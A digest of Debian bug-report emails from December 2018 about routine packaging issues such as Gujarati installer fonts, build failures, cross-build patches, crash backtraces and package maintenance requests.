Bug#911705: [Pkg-fonts-devel] Bug#911705: #911705 [l10n|gu] debian-installer: fonts broken for Gujarati

[Holger Wansing]

Hi,

Jonas Smedegaard  wrote:
> Quoting Holger Wansing (2018-12-05 21:49:04)
> > Hi Jonas,
> > 
> > Holger Wansing  wrote:
> > > Yeah, I built a test image with this, and as it seems Gujarati is 
> > > back! :-) (no TOFU signs anymore, but promissing looking glyphs)
> > > 
> > > I will provide screenshots soon, to give possibility to compare the 
> > > results.
> > 
> > So, here's a first bunch of screenshots, just to show that there seems 
> > to be no difference between the three fonts "Noto Sans Gujarati", 
> > "Noto Sans Gujarati UI" and "Noto Serif Gujarati".
> > Is this correct? I suspect not ...
> > (Or are the differences between the fonts so small, that I don't see 
> > them?)
> > I used these three different lines to set the font for Gujarati:
> > FONT_NAME="Noto Sans Gujarati"
> > FONT_NAME="Noto Sans Gujarati UI"
> > FONT_NAME="Noto Serif Gujarati"
> 
> The UI variant is likely irrelevant: It is a font optimized for use in 
> UI elements like menus where uniform height has higher priority than 
> whatever is the normal spacing dynamic in regular texts.
> 
> A quick search for samples led me to 
> https://fontinfo.opensuse.org/fonts/NotoSansGujaratiRegular.html and 
> https://fontinfo.opensuse.org/fonts/NotoSerifGujaratiRegular.html which 
> (especially when zoomed in and comparing the largest samples) show 
> slight difference e.g. in the "middle" glyf (to me looking like an 
> elefant at a lake with a candle on its head...)
> 
> Which is best I cannot tell.  Kartik, we need your input :-)
> 
> 
> > There is also a screenshot from Stretch, which shows the font for 
> > Gujarati from the ttf-freefont package, which looks more bold.
> > Can I also have a bold variant to show to the proofreaders?
> 
> Seems the bold variant is already there (looks to me like the subject 
> line is written in bold).
> 
> If you are asking for a stronger bold, then... yes you can have that as 
> well: Currently only main weights (Regular, Bold) are packaged, and 
> Gujarati Serif (but not Gujarati Sans) has more variants (ExtraLignt, 
> Light, Thin, Medium, ExtraBold, Black).  Tell me if needed, else I 
> perfer to prioritize other tasks than packaging those (as I prefer to 
> package it all at once - across all regions, not only Gujarati).

At the moment there is no need for such packaging work, I assume.
There is something going wrong with my font selection patch in
rootskel-gtk, it has no effect at all. Don't know what I am doing wrong.
No matter which variant of
 FONT_NAME="Noto Sans Gujarati"
 FONT_NAME="Noto Sans Gujarati UI"
 FONT_NAME="Noto Serif Gujarati"
I use, the used font is always the same.


Holger



-- 
Holger Wansing 
PGP-Finterprint: 496A C6E8 1442 4B34 8508  3529 59F1 87CA 156E B076

Bug#915112: pymol: FTBFS with glew 2.1

[Juhani Numminen]

On Wed, 05 Dec 2018 12:44:07 +0100 Andreas Beckmann  wrote:
> Followup-For: Bug #915112
> Control: found -1 2.1.0-3
> 
> $ cat glewglext.c 
> #include
> #include
> #include
> 
> $ gcc -c glewglext.c 
> In file included from glewglext.c:3:
> /usr/include/GL/glext.h:12066:25: error: conflicting types for 
> 'PFNGLFRAGMENTLIGHTFVSGIXPROC'
>  typedef void (APIENTRYP PFNGLFRAGMENTLIGHTFVSGIXPROC) (GLenum light, GLenum 
> pname, const GLfloat *params);
>  ^~~~
> In file included from glewglext.c:1:
> /usr/include/GL/glew.h:18734:28: note: previous declaration of 
> 'PFNGLFRAGMENTLIGHTFVSGIXPROC' was here
>  typedef void (GLAPIENTRY * PFNGLFRAGMENTLIGHTFVSGIXPROC) (GLenum light, 
> GLenum pname, GLfloat* params);
> ^~~~
> ...
> 
> This seems to be a good candidate for compile time tests and autopkgtests.

Indeed it seems that the patch didn't affect glew.h. I don't know the package
too well but that's a >1 MB header that cannot be found in upstream git, and
I get the impression that it is generated using auto/Makefile.

The debian build logs don't contain "Creating glew.h" so I believe the original
upstream-distributed include/GL/glew.h is shipped.


Regards,
Juhani

Bug#913774: ldm: should register login session with wtemp and utemp

[Vagrant Cascadian]

On 2018-11-15, Wolfgang Schweer wrote:
> on diskless workstations removable media can no longer be mounted due to 
> missing
> authorization.
>
> As far as I was able to find out, it seems to be due to security related 
> changes
> to udisks. The UDisks2 policy requires a logged in user available via 'w' or
> 'who'. While workarounds¹ are possible, imo the proper fix would be if LDM
> could register the login session with wtemp and utemp.

This is a non-trivial task for thin clients with LDM, unfortunately.

For fat clients, it starts the user using 'su -' which should register
the session in wtmp... but maybe some other issue is breaking that.

Realistically speaking, LDM is deprecated, there's just unfortunately no
working replacement... :/

Your workaround could be applied in init-ltsp.d or one of the other
various hooks.

> ¹Maybe patch /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy on the
>  fly for each session via a script in init-ltsp.d, using:
>
> --- a/org.freedesktop.UDisks2.policy  2018-09-28 21:48:23.0 +0200
> +++ b/org.freedesktop.UDisks2.policy  2018-11-14 22:10:15.277057756 +0100
> @@ -84,7 +84,7 @@
>  挂载文件系统需要身份验证
>  要掛載檔案系統需要先核對身分
>  
> -  auth_admin
> +  yes
>auth_admin
>yes
>  
> @@ -165,7 +165,7 @@
>  挂载文件系统需要身份验证
>  要掛載檔案系統需要先核對身分
>  
> -  auth_admin
> +  yes
>auth_admin
>auth_admin_keep
>   


live well,
  vagrant


signature.asc
Description: PGP signature

Bug#915825: [G-I] installer completely broken for Gujarati, missing font

[Holger Wansing]

Hi,

Holger Wansing  wrote:
> Package: src:debian-installer
> 
> This is a follow-up report on
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=911705
> which reports that font for Gujarati is broken/missing in the current G-I.

A (probably not so short) summary of the situation:

With commit 
"Replace ttf-freefont-udeb by fonts-freefont-udeb as the former has been
removed from unstable (and thus testing)." under
https://salsa.debian.org/installer-team/debian-installer/commit/94507f32b36ce050a3f45777b75dce793db3e614
things changed for fonts apparently.
Gujarati is no longer usable, all glyphs are replaced by TOFU placeholder
signs.

Jonas Smedegaard proposed to switch to noto-fonts as an alternative.
He uploaded a new version of that udeb to unstable just some days ago, thus
it is only in unstable ATM.
So I tried that and built a netboot-gtk image locally with this patch 
implemented and with the noto-fonts-unhinted-udeb as a localudeb:

diff --git a/build/pkg-lists/gtk-common b/build/pkg-lists/gtk-common
index 69bfbc2e2..930b2102e 100644
--- a/build/pkg-lists/gtk-common
+++ b/build/pkg-lists/gtk-common
@@ -21,6 +21,8 @@ fonts-telu-udeb
 fonts-sil-abyssinica-udeb
 # For Sinhala
 fonts-noto-hinted-udeb
+# Test for Gujarati
+fonts-noto-unhinted-udeb
 fonts-lao-udeb
 fonts-ukij-uyghur-udeb
 fonts-sil-padauk-udeb

And this brings Gujarati back to the G-I.

That leads to the assumption, that the gu glyphs seem to be missing in the new 
fonts-freefont package.

I need to mention, that the above patch (adding another udeb to the build)
increases the netboot-gtk image (amd64) from 69 to 85 MB!
Therefore that's probably not an acceptable solution as it is.
But I think Jonas would be able move the relevant glyphs to another udeb maybe, 
so that we don't need the whole fonts-noto-unhinted-udeb in the build?

(BTW: as a pointer for the future: maybe it's worse to switch to the noto-fonts
packages completely?)






Some additional info:
In the first place, I made some more changings, in rootskel-gtk, like this:

diff --git a/src/usr/bin/gtk-set-font b/src/usr/bin/gtk-set-font
index 9e7cd89..769737d 100644
--- a/src/usr/bin/gtk-set-font
+++ b/src/usr/bin/gtk-set-font
@@ -1,4 +1,5 @@
 #! /bin/sh
+# Test: add gu for use with noto-fonts-unhinted-udeb
 
 set -e
 
@@ -41,6 +42,8 @@ case "$language" in
FONT_NAME="Tibetan Machine Uni"
FONT_SIZE=$(($FONT_SIZE + 2))
;;
+gu)
+   FONT_NAME="Noto Sans Gujarati"
+   FONT_SIZE=$(($FONT_SIZE + 2))
 ja)
FONT_NAME="VL Gothic"
;;
@@ -75,7 +78,7 @@ case "$language" in
 zh*)
FONT_NAME="AR PL ShanHeiSun Uni"
;;
-bn|gu|hi|ml|mr|ne)
+bn|hi|ml|mr|ne)
FONT_SIZE=$(($FONT_SIZE + 2))
;;
 esac


I assumed this is needed, but as I learned this is of no effect:
I also tried with
FONT_NAME="Noto Sans Gujarati UI"
and
FONT_NAME="Noto Serif Gujarati"

but that has no effect, the used font seems to be always the same. 
Don't know what I'm doing wrong here.
However the result is the use of a reasonable Gujarati font AFAICS, so 
better than nothing.


Holger



-- 
Holger Wansing 
PGP-Finterprint: 496A C6E8 1442 4B34 8508  3529 59F1 87CA 156E B076

Bug#915694: [Pkg-clamav-devel] Bug#915694: RFS: clamav-unofficial-sigs/5.6.2

[Paul Wise]

On Fri, Dec 7, 2018 at 3:12 PM Scott Kitterman wrote:

> This package currently has Paul Wise listed as a co-maintainer, but you've
> removed him.  Did you coordinate that with him?  In any case, the change needs
> to be documented in debian/changelog.

He did, see the bug closed in debian/changelog.

-- 
bye,
pabs

https://wiki.debian.org/PaulWise

Bug#887394: Packaging Veyon (was: Re: Accepted italc 1:3.0.3+dfsg1-2 (source) into unstable)

[Tobias Junghans]

Hi Mike,

> Uploaded 20min ago.

Perfect, thanks a lot! A few questions and suggestions for future uploads 
though:

* switch project website (https://veyon.io) to https in Homepage field
* use lower-case for github group for Source field
* update to 4.1.5
* replace "iTALC" with "Veyon" in copyright
* why is kde-baseapps-bin recommended? Veyon is not KDE-related at all
* as of upcoming 4.1.6 release you should reconsider to not repack the source 
tarball as all unused source files (except for x11vnc/libvncserver) will get 
stripped anyway (https://github.com/veyon/veyon/commit/
cc54151fb31524bd67a6160acaac1204f55e9ccd).

Best regards

Tobias

Bug#915694: [Pkg-clamav-devel] Bug#915694: RFS: clamav-unofficial-sigs/5.6.2

[Scott Kitterman]

This package currently has Paul Wise listed as a co-maintainer, but you've 
removed him.  Did you coordinate that with him?  In any case, the change needs 
to be documented in debian/changelog.

Scott K

On Thursday, December 06, 2018 08:01:39 AM Brent Clark wrote:
> Package: sponsorship-requests
> Severity: normal
> 
> Good day Maintainer / Mentors,
> 
> I am looking for a sponsor for my package "clamav-unofficial-sigs":
> 
>* Package name: clamav-unofficial-sigs
>  Version : 5.6.2
>  Upstream Author : Adrian Jon Kriel 
>* URL : https://github.com/extremeshok/clamav-unofficial-sigs
> * License : BSD
>  Section : utils
> 
> To access further information about this package, please visit the following
> URL: https://mentors.debian.net/package/clamav-unofficial-sigs
>   https://salsa.debian.org/brentclark-guest/clamav-unofficial-sigs
> 
> The respective dsc file can be found at:
>  
> https://mentors.debian.net/debian/pool/main/c/clamav-unofficial-sigs/clamav
> -unofficial-sigs_5.6.2-1.dsc
> 
> More information about clamav-unofficial-sigs can be obtained from
>   https://github.com/extremeshok/clamav-unofficial-sigs
> 
> If you have any concerns or questions, please do not hesitate to contact me.
> 
> Much appreciated, regards
> Brent Clark
> 
> ___
> Pkg-clamav-devel mailing list
> pkg-clamav-de...@alioth-lists.debian.net
> https://alioth-lists.debian.net/cgi-bin/mailman/listinfo/pkg-clamav-devel

Bug#915826: Dropbear has incorrect path of sftp-server hardcoded

[Damon Tarry]

Package: dropbear-bin
Version: 2018.76-4

The dropbear binary has the path for the sftp server hardcoded as
"/usr/libexec/sftp-server".
However, the openssh-sftp-server package installs the sftp server to
"/usr/lib/openssh/sftp-server" and creates a link at
"/usr/lib/sftp-server".
The package lsh-server installs its sftp server to
"/usr/lib/lsh-server/sftp-server".

I don't see any packages that install to or create links at the path
hardcoded by dropbear ("/usr/libexec/sftp-server").

Bug#915825: [G-I] installer completely broken for Gujarati, missing font

[Holger Wansing]

Package: src:debian-installer

This is a follow-up report on
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=911705
which reports that font for Gujarati is broken/missing in the current G-I.


Holger



-- 
Holger Wansing 
PGP-Finterprint: 496A C6E8 1442 4B34 8508  3529 59F1 87CA 156E B076

Bug#915824: Drop libnvidia-egl-wayland1 from nvidia packaging

[Timo Aaltonen]

Package: src:nvidia-graphics-drivers
Severity: normal

On 5.12.2018 2.56, Andreas Beckmann wrote:
> On 2018-12-03 15:30, Timo Aaltonen wrote:
>> On 3.12.2018 16.29, Andreas Beckmann wrote:
>>> On 2018-12-03 14:04, Timo Aaltonen wrote:
 I've packaged egl-wayland and uploaded it, but got a reject message
 because the binary (libnvidia-egl-wayland1) was already in the archive.
 Would you mind dropping it from the nvidia packaging and use this
 instead? This (together with the -dev package) is needed for
 gnome-shell-on-wayland/Mir to work with the nvidia driver.

 I'd then need to add the necessary B/R/C and bump the epoch, of course.
>>>
>>> In general no objections. Did you test whether your packages will work
>>> as drop-in replacements for the ones built from the blob?
>>
>> No, I don't have nvidia, but the lib is their baby so I'd expect it
>> would. Besides, I don't think it's used at all right now.
> 
> There are also
> 
> nvidia-egl-wayland-common
> nvidia-egl-wayland-icd
> 
> and
> 
> libnvidia-legacy-390xx-egl-wayland1
> nvidia-legacy-390xx-egl-wayland-icd
> 
> from the 390xx legacy driver.
> 
> What should happen to them?

Gone as well. -icd doesn't seem to install anything useful anyway, so
I'm not sure about it's purpose. -common just installs the json file
which the new libnvidia-egl-wayland1 will include.

I'll add all the C/R/P in egl-wayland, thanks.

> What should we do in stable?
> nvidia-graphics-drivers/stretch will probably be upgraded to 390.xx in
> the next stretch point release.
> The *wayland* packages in their current form were only added to stretch
> in 384.111-4~deb9u1, they haven't been there from the beginning.
> If we are sure they have no users in stretch, we could just remove them
> from stretch again. (The packages are only recommended, not being
> depended upon.)

Yeah I think they can be safely dropped without any harm.

> PS: Please open a bug against src:nvidia-graphics-drivers and post all
> discussion there to have this archived publically. And move discussion
> there.

sure, this reply should open the bug.


-- 
t

Bug#915822: nmu: ossim_2.6.0-1

[Bas Couwenberg]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: binnmu

Please rebuild ossim with the new geos in unstable:

nmu ossim_2.6.0-1 . ANY . unstable . -m "Rebuild with libgeos++-dev (>= 3.7.1)"

Kind Regards,

Bas

Bug#915823: nmu: ossim_2.6.0-1

[Bas Couwenberg]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: binnmu

Please rebuild ossim with the new geos in unstable:

nmu ossim_2.6.0-1 . ANY . unstable . -m "Rebuild with libgeos++-dev (>= 3.7.1)"

Kind Regards,

Bas

Bug#913277: "FATAL_ERROR: No valid sound driver! FATAL_ERROR: Server exited!"

[Awtul]

Package: moc
Version: 1:2.6.0~svn-r2984-1
Followup-For: Bug #913277


---
cat /proc/asound/cards
 0 [PCH]: HDA-Intel - HDA Intel PCH
  HDA Intel PCH at 0xe061 irq 27
---


I created asound.conf in /etc and inserted:

defaults.pcm.card 0
defaults.ctl.card 0

but that do not help, even after a system reboot; I still get same error 
mentionned at the beginning of this bug report when I execute 'mocp'.

I have no troubles with 'qmmp' if pulseaudio module is activated in qmmp 
settings instead of the alsa one.

I also suspect alsa stuff but not sure what exactly.
All audio/video programs I tried works fine, except 'moc'; and 'moc' is my 
favorite! :(

Cheers,
Awtul

Bug#915821: Needs to be built against lxc 3.x

[Kaua Lima]

Package: anbox
Version: 0.0~git20181014-1+b1
Severity: grave

The package is unusable in sid as lxc (1:3.0.3-1) got accepted into unstable.



-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (1000, 'unstable'), (200, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_GB:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages anbox depends on:
ii  iptables1.8.2-2+b1
ii  libboost-atomic1.67.0   1.67.0-11
ii  libboost-chrono1.67.0   1.67.0-11
ii  libboost-date-time1.67.01.67.0-11
ii  libboost-filesystem1.67.0   1.67.0-11
ii  libboost-iostreams1.67.01.67.0-11
pn  libboost-log1.67.0  
pn  libboost-program-options1.67.0  
pn  libboost-regex1.67.0
pn  libboost-serialization1.67.0
ii  libboost-system1.67.0   1.67.0-11
ii  libboost-thread1.67.0   1.67.0-11
ii  libc6   2.28-2
ii  libegl1 1.1.0-1
ii  libgcc1 1:8.2.0-10
ii  libgles21.1.0-1
pn  liblxc1 
pn  libprotobuf-lite17  
ii  libsdl2-2.0-0   2.0.8+dfsg1-6
pn  libsdl2-image-2.0-0 
ii  libstdc++6  8.2.0-10
ii  libsystemd0 239-14
pn  lxc 

Versions of packages anbox recommends:
ii  dbus-user-session  1.12.12-1

anbox suggests no packages.

Bug#915820: xmltooling: missing zlib1g-dev build dependency

[Pino Toscano]

Source: xmltooling
Version: 3.0.2-2
Severity: minor
Tags: patch

Hi,

xmltooling requires zlib for building, see configure.ac:

AX_PKG_CHECK_MODULES([zlib],,[zlib],,,
[XMLTOOLING_LITE_REQUIRES],[XMLTOOLING_LITE_REQUIRES_PRIVATE])

OTOH, zlib1g-dev is not a build dependency, and thus xmltooling relies
on the other build dependencies to install it.  Specifying it directly
avoids this issue.

Thanks,
-- 
Pino
--- a/debian/control
+++ b/debian/control
@@ -15,6 +15,7 @@ Build-Depends:
  libxerces-c-dev,
  libxml-security-c-dev (>= 2~),
  pkg-config,
+ zlib1g-dev,
 Build-Depends-Indep:
  doxygen,
  graphviz,

Bug#915819: lm-sensors FTCBFS: fails building prog/dump/superio for mips64el

[Helmut Grohne]

Source: lm-sensors
Version: 1:3.4.0-4
Tags: patch
User: helm...@debian.org
Usertags: rebootstrap

lm-sensors fails to cross build from source, because it fails finding
sys/io.h while building prog/dump/superio for mips64el. But it shouldn't
build that tool for mips64el. It uses MACHINE=$(uname -m) to decide what
to build, so debian/rules needs to supply that. The attached patch makes
lm-sensors cross buildable. Please consider applying it.

Helmut
diff --minimal -Nru lm-sensors-3.4.0/debian/changelog 
lm-sensors-3.4.0/debian/changelog
--- lm-sensors-3.4.0/debian/changelog   2017-04-05 22:07:33.0 +0200
+++ lm-sensors-3.4.0/debian/changelog   2018-12-07 06:29:43.0 +0100
@@ -1,3 +1,10 @@
+lm-sensors (1:3.4.0-4.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTCBFS: Pass MACHINE to make. (Closes: #-1)
+
+ -- Helmut Grohne   Fri, 07 Dec 2018 06:29:43 +0100
+
 lm-sensors (1:3.4.0-4) unstable; urgency=medium
 
   * Drop the sensord package, it is not really maintained upstream, and
diff --minimal -Nru lm-sensors-3.4.0/debian/rules lm-sensors-3.4.0/debian/rules
--- lm-sensors-3.4.0/debian/rules   2017-04-05 19:08:21.0 +0200
+++ lm-sensors-3.4.0/debian/rules   2018-12-07 06:29:41.0 +0100
@@ -1,5 +1,7 @@
 #!/usr/bin/make -f
 
+include /usr/share/dpkg/architecture.mk
+
 %:
dh $@ --parallel --with systemd
 
@@ -8,6 +10,7 @@
LIBDIR=/usr/lib/$(DEB_HOST_MULTIARCH) \
MANDIR=/usr/share/man
 MAKEARGS_ARCH = $(MAKEARGS_INDP) \
+   MACHINE=$(DEB_HOST_GNU_CPU) \
CFLAGS="$(CFLAGS)" \
CPPFLAGS="$(CPPFLAGS)" \
LDFLAGS="$(LDFLAGS)" \

Bug#915818: chicken FTCBFS: builds for the wrong architecture

[Helmut Grohne]

Source: chicken
Version: 4.13.0-1
Tags: patch
User: helm...@debian.org
Usertags: rebootstrap

chicken fails to cross build from source, because it builds for the
wrong architecture. The upstream documentation kindly explains that one
is supposed a HOSTSYSTEM variable to prefix build tools. It needs to be
passed to both the build and the install step, because chicken insists
on relinking the library during make install (unless you pass
NEEDS_RELINKING=no). So the attached patch makes chicken cross
buildable. Please consider applying it.

Helmut
diff --minimal -Nru chicken-4.13.0/debian/changelog 
chicken-4.13.0/debian/changelog
--- chicken-4.13.0/debian/changelog 2018-08-03 09:20:43.0 +0200
+++ chicken-4.13.0/debian/changelog 2018-12-05 08:12:31.0 +0100
@@ -1,3 +1,10 @@
+chicken (4.13.0-1.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTCBFS: Tell make about HOSTSYSTEM. (Closes: #-1)
+
+ -- Helmut Grohne   Wed, 05 Dec 2018 08:12:31 +0100
+
 chicken (4.13.0-1) unstable; urgency=low
 
   * New upstream version.
diff --minimal -Nru chicken-4.13.0/debian/rules chicken-4.13.0/debian/rules
--- chicken-4.13.0/debian/rules 2018-08-03 09:20:43.0 +0200
+++ chicken-4.13.0/debian/rules 2018-12-05 08:12:31.0 +0100
@@ -2,6 +2,7 @@
 
 export DEB_BUILD_MAINT_OPTIONS = hardening=+all
 export DEB_LDFLAGS_MAINT_APPEND = -Wl,--as-needed
+include /usr/share/dpkg/architecture.mk
 CFLAGS = $(shell dpkg-buildflags --get CFLAGS)
 CPPFLAGS = $(shell dpkg-buildflags --get CPPFLAGS)
 LDFLAGS = $(shell dpkg-buildflags --get LDFLAGS)
@@ -36,10 +37,11 @@
tests/tmp3
 
 override_dh_auto_build:
-   dh_auto_build -- PREFIX=$(PREFIX) 
C_COMPILER_OPTIMIZATION_OPTIONS="$(CFLAGS) $(CPPFLAGS)" VARDIR=/var/lib/
+   dh_auto_build -- HOSTSYSTEM=$(DEB_HOST_GNU_TYPE) PREFIX=$(PREFIX) 
C_COMPILER_OPTIMIZATION_OPTIONS="$(CFLAGS) $(CPPFLAGS)" VARDIR=/var/lib/
 
 override_dh_auto_install:
dh_auto_install -- \
+   HOSTSYSTEM=$(DEB_HOST_GNU_TYPE) \
LINKER_LINK_SHARED_DLOADABLE_OPTIONS='-L. -shared $(LDFLAGS)' \
LINKER_LINK_SHARED_PROGRAM_OPTIONS='$(LDFLAGS)' \
LIBCHICKEN_SO_LINKER_OPTIONS='$(LDFLAGS) 
-Wl,-soname,libchicken.so.8'

Bug#740084: [Pkg-samba-maint] Bug#740084: obsolete?

[Mathieu Parent]

Le ven. 7 déc. 2018 à 02:03, Douglas Bagnall  a écrit :
>
> > Package: samba
> > Version: 2:4.1.4+dfsg-3
> > Severity: important
>
> Oldstable has 2:4.2.14+dfsg-0+deb8u10, while Sid has 4.9.
> A lot has changed along the way.
>
> Is this still reproducible, or can we close this one?

Thanks for triaging, but this bug was not sent to submitter. Please
use nnn-submit...@bugs.debian.org and n...@bugs.debian.org.

Ref: https://www.debian.org/Bugs/Developer#followup

Please re-send this mail and the others this way.

Regards

-- 
Mathieu Parent

Bug#915817: colmap: Crashes during reconstruction

[Witold Baryluk]

Package: colmap
Version: 3.6+dev1-1
Followup-For: Bug #915817

backtrace from gdb with debug symbols installed:

(gdb) bt
#0  0x75e69c7d in __GI___libc_free (mem=0x10001) at malloc.c:3093
#1  0x5587135e in __gnu_cxx::new_allocator::deallocate(int*, 
unsigned long) (this=0x7ffddaff51e8, __p=)
at /usr/include/c++/8/ext/new_allocator.h:116
#2  0x5587135e in std::allocator_traits 
>::deallocate(std::allocator&, int*, unsigned long) (__a=..., 
__n=, __p=) at 
/usr/include/c++/8/bits/alloc_traits.h:462
#3  0x5587135e in std::_Vector_base 
>::_M_deallocate(int*, unsigned long) (this=0x7ffddaff51e8, __n=, __p=) at /usr/include/c++/8/bits/stl_vector.h:304
#4  0x5587135e in std::_Vector_base 
>::~_Vector_base() (this=0x7ffddaff51e8, __in_chrg=) at 
/usr/include/c++/8/bits/stl_vector.h:285
#5  0x5587135e in std::vector >::~vector() 
(this=0x7ffddaff51e8, __in_chrg=)
at /usr/include/c++/8/bits/stl_vector.h:570
#6  0x5587135e in ceres::Solver::Summary::~Summary() 
(this=0x7ffddaff5030, __in_chrg=)
at /usr/include/ceres/solver.h:795
#7  0x5587135e in colmap::BundleAdjuster::~BundleAdjuster() 
(this=0x7ffddaff4d10, __in_chrg=)
at ./src/optim/bundle_adjustment.h:166
#8  0x5587135e in 
colmap::IncrementalMapper::AdjustGlobalBundle(colmap::BundleAdjustmentOptions 
const&) (this=0x7ffddaff5910, ba_options=...) at 
./src/sfm/incremental_mapper.cc:661
#9  0x557bd21c in colmap::(anonymous 
namespace)::AdjustGlobalBundle(colmap::IncrementalMapperOptions const&, 
colmap::IncrementalMapper*) (options=..., mapper=0x7ffddaff5910) at 
./src/controllers/incremental_mapper.cc:72
#10 0x557be52d in 
colmap::IncrementalMapperController::Reconstruct(colmap::IncrementalMapper::Options
 const&) (this=0x7fff38ff1a60, init_mapper_options=...) at 
./src/controllers/incremental_mapper.cc:443
#11 0x557bfdab in colmap::IncrementalMapperController::Run() 
(this=0x7fff38ff1a60)
at ./src/controllers/incremental_mapper.cc:311
#12 0x557bfdab in colmap::IncrementalMapperController::Run() 
(this=0x7fff38ff1a60)
at ./src/controllers/incremental_mapper.cc:305
#13 0x558d433c in colmap::Thread::RunFunc() (this=0x7fff38ff1a60) at 
./src/util/threading.cc:177
#14 0x7622faff in  () at /lib/x86_64-linux-gnu/libstdc++.so.6
#15 0x76e54fa3 in start_thread (arg=) at 
pthread_create.c:486
#16 0x75ede88f in clone () at 
../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb) q




-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages colmap depends on:
ii  libc6   2.28-2
ii  libceres1   1.13.0+dfsg0-2
ii  libfreeimage3   3.17.0+ds1-5+b5
ii  libgcc1 1:8.2.0-9
ii  libgflags2.22.2.2-1
ii  libgl1  1.1.0-1
ii  libglew2.1  2.1.0-2
ii  libglu1-mesa [libglu1]  9.0.0-2.1
ii  libgomp18.2.0-9
ii  libgoogle-glog0v5   0.3.5-1
ii  libqt5core5a5.11.2+dfsg-7
ii  libqt5gui5  5.11.2+dfsg-7
ii  libqt5opengl5   5.11.2+dfsg-7
ii  libqt5widgets5  5.11.2+dfsg-7
ii  libstdc++6  8.2.0-9

colmap recommends no packages.

colmap suggests no packages.

-- no debconf information

Bug#915817: colmap: Crashes during reconstruction

[Witold Baryluk]

Source: colmap
Version: 3.5-1
Severity: normal


user@debian:~$ colmap gui
*** Aborted at 1544138540 (unix time) try "date -d @1544138540" if you are 
using GNU date ***
PC: @ 0x7f566745cc71 cfree
*** SIGSEGV (@0xfff9) received by PID 30774 (TID 0x7f55c27ec700) from PID 
18446744073709551609; stack trace: ***
@ 0x7f56686498e0 (unknown)
@ 0x7f566745cc71 cfree
@ 0x55eed3b460fe colmap::IncrementalMapper::AdjustGlobalBundle()
@ 0x55eed3a9194c (unknown)
@ 0x55eed3a92c5d colmap::IncrementalMapperController::Reconstruct()
@ 0x55eed3a944db colmap::IncrementalMapperController::Run()
@ 0x55eed3ba680c colmap::Thread::RunFunc()
@ 0x7f5667830aff (unknown)
@ 0x7f566863ef2a start_thread
@ 0x7f56674d0edf clone
Segmentation faul


The same happens with 3.6+dev1-1 from experimental.


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Bug#915671: symlinking /tmp to /run/tmp does not work

[Thorsten Glaser]

On Thu, 6 Dec 2018, Serge Belyshev wrote:

> Indeed your version is better.  (Although as a minor nitpick
> bootclean.sh uses [ and -L in other places, so it will look inconsistent)

I’d recommend replacing at least the -L “while here anyway”.

Using test over [ is personal preference, but makes it IMHO
clearer to people not well-versed in shell that it’s an ex‐
ternal command with no magic syntax sugar regarding quoting
(which the Korn shell [[ has) and not comparable with the
normal if (…) in C.

Meow,
//mirabilos
-- 
„Cool, /usr/share/doc/mksh/examples/uhr.gz ist ja ein Grund,
mksh auf jedem System zu installieren.“
-- XTaran auf der OpenRheinRuhr, ganz begeistert
(EN: “[…]uhr.gz is a reason to install mksh on every system.”)

Bug#915568: gitlab: postinst gets stuck on webpack selection

[Pirate Praveen]

On Tue, 04 Dec 2018 16:14:25 +1100 Dean Hamstead  wrote:
> Package: gitlab
> Version: 11.3.11+dfsg-1
> Severity: important
> 
> Dear Maintainer,
> 
> Install gets stuck on this output, answering doest seem to help
> 
> Precompiling assets...
> Webpacking...
> One CLI for webpack must be installed. These are recommended choices, 
> delivered as separate packages:
>  - webpack-cli (https://github.com/webpack/webpack-cli)
>The original webpack full-featured CLI.
>  - webpack-command (https://github.com/webpack-contrib/webpack-command)
>A lightweight, opinionated webpack CLI.
> We will use "yarn" to install the CLI via "yarn add -D".
> Which one do you like to install (webpack-cli/webpack-command):
> 

It should be fixed in 10.4.9 in experimental. I was able to update from 11.3.11 
but I will confirm on a clean install too.
-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.

Bug#887666: (no subject)

[Dan Mick]

Can this bug be moved along?  It keeps biting me

Bug#912332: Cavewhere, dewalls and QBS

[Philip Schuchardt]

Yea, pretty surprised by the announcement a couple of weeks ago. I thought
Qt6 would be built with QBS. I was wrong. I plan on continuing to use QBS,
until it's support is removed from QtCreator and Qt. Once I'm forced to
migrate to CMAKE I will. It definitely won't happen within a year. Probably
2 to 3 years once support is dropped. CMAKE personally drives me nuts...

On Tue, Dec 4, 2018 at 10:49 AM Wookey  wrote:

> On 2016-08-26 14:35 -0400, Philip Schuchardt wrote:
>
> > Yes, QBS comes from the Qt people. The upstream is
> > https://github.com/qt-labs/qbs.
> >
> > Qt still uses qmake as their main build system. I don't think the Qt
> > Company will ever build Qt with cmake.
>
> Well, looks like you were wrong about that.
>
